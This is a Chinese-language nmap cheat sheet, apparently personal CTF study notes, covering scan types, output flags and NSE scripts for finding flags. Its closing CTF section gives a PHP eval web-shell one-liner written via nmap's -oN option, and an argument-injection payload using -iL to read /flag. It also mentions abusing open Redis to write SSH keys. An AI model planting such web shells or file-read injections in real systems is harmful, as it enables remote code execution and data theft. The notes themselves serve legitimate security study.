nmap
基本用法:
基础扫描:
nmap <target>
基础扫描(默认1000端口)
全端口扫描:
nmap -p- <target>
服务与版本探测:
nmap -sV <target>
操作系统识别:
nmap -O <target>
Ping 扫描(主机发现):
nmap -sn <subnet>
保存扫描结果和命令:
nmap -oN output.txt -oX output.xml <target>
nmap -p- -sV <target> | grep "open"
//结合 grep/awk 提取关键信息
参数
-oN:标准可读文本格式(人类友好)
//nmap -oN scan.txt target
-oX:XML 格式(结构化,适合程序解析)
//nmap -oX scan.xml target
-oG:Grep 友好格式(已弃用但部分人仍用)
//nmap -oG scan.gnmap target
-oA:同时输出三种格式(.nmap, .xml, .gnmap)
//nmap -oA fullscan target
--append-output
//追加到已存在的输出文件(默认是覆盖)
--resume <filename>
//恢复中断的扫描(仅对 -oA/-oN/-oX 有效)
-v / -vv
//增加输出详细程度(也会写入文件)
--reason
//在输出中包含端口状态判定原因(如 "syn-ack")
其他服务探测:
隐藏 Web 服务:nmap -p- -sV
//发现 8080、8000 等端口上的 Web
FTP 匿名登录:nmap --script=ftp-anon
//下载 flag
Redis 未授权访问:nmap --script=redis-info
//利用写 SSH key 或 Web 目录
SMB 共享泄露:nmap --script=smb-enum-shares
//获取共享文件中的 flag
HTTP 路径泄露:nmap --script=http-enum
//找到 /flag.php、/backup.zip
UDP 服务泄露:nmap -sU -p 161
//SNMP 获取敏感信息
ctf利用:
些shell
<?php @eval($_POST[1]);> -oN a.phtml
读文件并输出:
-iL 读取文件内容,以文件内容作为搜索目标
-o 输出到文件
nmap -iL ip_target.txt -o result.txt
扫描ip_target.txt内包含的ip地址,输出扫描结果至result.txt
payload:nmap 127.0.0.1 -iL /flag -o haha